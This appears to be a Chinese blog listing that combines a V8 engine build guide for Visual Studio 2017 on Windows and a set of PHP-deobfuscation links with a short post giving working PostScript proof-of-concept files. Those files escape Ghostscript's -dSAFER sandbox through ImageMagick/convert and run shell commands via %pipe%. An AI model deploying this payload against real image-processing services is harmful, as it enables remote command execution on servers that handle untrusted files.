风铃 发布的文章

Ghostscript / ImageMagick / convert exploit

开启 ghostscript

gs -q -sDEVICE=ppmraw -dSAFER -s0utputFile=/dev/null

POC

Ubuntu

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%whoami) currentdevice putdeviceprops

CentOS

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

文件开头 PS/EPS/PDF/XPS

%!EPS

都是可以的

About
https://www.anquanke.com/post/id/157513

Build Chrome V8 JS Engine with Visual Studio 2017 on Windows

1. 安装 Git,VS2017,Windows SDK(Debugging Tools For Windows 一定要选中)

2. 管理员权限CMD

call "C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\VC\Auxiliary\Build\vcvars64.bat"
cd c:/
mkdir v8
cd v8

3. 安装SS,开启代理,(或者全局VPN,无视下面命令)

git config --global https.proxy socks5://127.0.0.1:10802
git config --global http.proxy socks5://127.0.0.1:10802
git config --global git.proxy socks5://127.0.0.1:10802
set HTTP_PROXY=socks5://127.0.0.1:10802
set HTTPS_PROXY=socks5://127.0.0.1:10802
echo [Boto] > C:\v8\proxy.boto
echo proxy=127.0.0.1 >> C:\v8\proxy.boto
echo proxy_port=10802 >> C:\v8\proxy.boto
set NO_AUTH_BOTO_CONFIG=C:\v8\proxy.boto

4. 安装 depot_tools

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

5. 配置 depot_tools 的一些环境变量

set PATH=C:\v8\depot_tools;%PATH%
set DEPOT_TOOLS_WIN_TOOLCHAIN=0
set GYP_MSVS_VERSION=2017

6. 拉取 v8 源码

fetch v8
gclient sync

6.2 想编译指定版本的话,再执行

git checkout 7.0.174
gclient sync

gclient sync可能会报错 'ascii' codec can't decode byte 0xb0 in position 1: ordinal not in range(128)
将报错文件C:\v8\depot_tools\win_tools-2_7_6_bin\python\bin\Lib\mimetypes.py的那一行UnicodeEncodeError改成 UnicodeError即可

7.1 生成 v8 工程

cd v8
python tools\dev\v8gen.py x64.release

配置 v8 工程编译选项

gn args out.gn\x64.release

输入(前面三句默认带的)

android_unstripped_runtime_outputs = false
is_debug = false
target_cpu = "x64"
is_component_build = false
v8_static_library = true
use_custom_libcxx = false
use_custom_libcxx_for_host = false
v8_use_external_startup_data = false
is_clang = false
is_component_build = false
v8_static_library = true
use_custom_libcxx = false
use_custom_libcxx_for_host = false

是官方编译 static lib 推荐的四个选项,动态库的话不加

v8_use_external_startup_data = false 不设置的话,工程会依赖两个bin文件,很蠢

不知道从什么版本开始默认选项 is_clang=true 会导致VS链接出错

1>C:\v8\v8\out.gn\x64.release\obj\v8_base.lib : fatal error LNK1127: library is corrupt

所以强制设置为 is_clang = false

7.2 生成 VS 工程

gn gen out.gn\x64.release_vs --sln=v8 --ide=vs2017 --args="is_debug=false target_cpu=\"x64\" is_component_build=false v8_static_library=true use_custom_libcxx=false use_custom_libcxx_for_host=false v8_use_external_startup_data=false is_clang=false"

7.3 备注

7.1 和 7.2 选一个执行就可以,

选 7.1 的话执行下面进行编译(cctest会编译失败,无视掉)

ninja -C out.gn\x64.release

或者只编译我们需要的(v8是主要的,d8 是个控制台测试项目)

ninja -C out.gn\x64.release v8 d8

选 7.2 的 VS 打开 all.sln 进行编译(cctest会编译失败,无视掉)

8. lib使用: VS工程设置

VC++目录 -> 包含目录, 加入 C:\v8\v8\include;C:\v8\v8;
VC++目录 -> 库目录, 加入 C:\v8\v8\out.gn\x64.release\obj;
C++ -> 代码生成 -> 运行库 设置为 多线程(/MT) or 多线程调试(/MTd)

需要的头文件 和 库

#include "include/libplatform/libplatform.h"
#include "include/v8.h"

#pragma comment(lib, "v8_base_0.lib")
#pragma comment(lib, "v8_base_1.lib")
#pragma comment(lib, "v8_snapshot.lib")
#pragma comment(lib, "v8_nosnapshot.lib")
#pragma comment(lib, "v8_libbase.lib")
#pragma comment(lib, "v8_libplatform.lib")
#pragma comment(lib, "v8_libsampler.lib")
#pragma comment(lib, "third_party/icu/icuuc.lib")
#pragma comment(lib, "third_party/icu/icui18n.lib")
#pragma comment(lib, "src/inspector/inspector.lib")

#pragma comment(lib, "winmm.lib")
#pragma comment(lib, "dbghelp.lib")
#pragma comment(lib, "shlwapi.lib")

9. 32bit生成

call "C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\VC\Auxiliary\Build\vcvars32.bat"
cd c:\v8\v8

配置 代理 + 环境变量 .... (同上)

python tools\dev\v8gen.py ia32.release
gn args out.gn\ia32.release
...
ninja -C out.gn\ia32.release v8 d8

10. 禁用i18n (third_party\icu)

v8_enable_i18n_support=false
icu_use_data_file=false

See also

How to build V8 on Windows and not go mad – DailyJS – Medium
Build V8 JS Engine with Visual Studio 2017 on Windows
Andre's Blog • Building Google v8

PHP解密

https://segmentfault.com/a/1190000007035295
https://www.52pojie.cn/thread-693641-1-1.html
https://www.52pojie.cn/thread-696901-1-1.html
https://www.52pojie.cn/thread-695443-1-1.html
https://www.52pojie.cn/thread-695189-1-1.html
https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html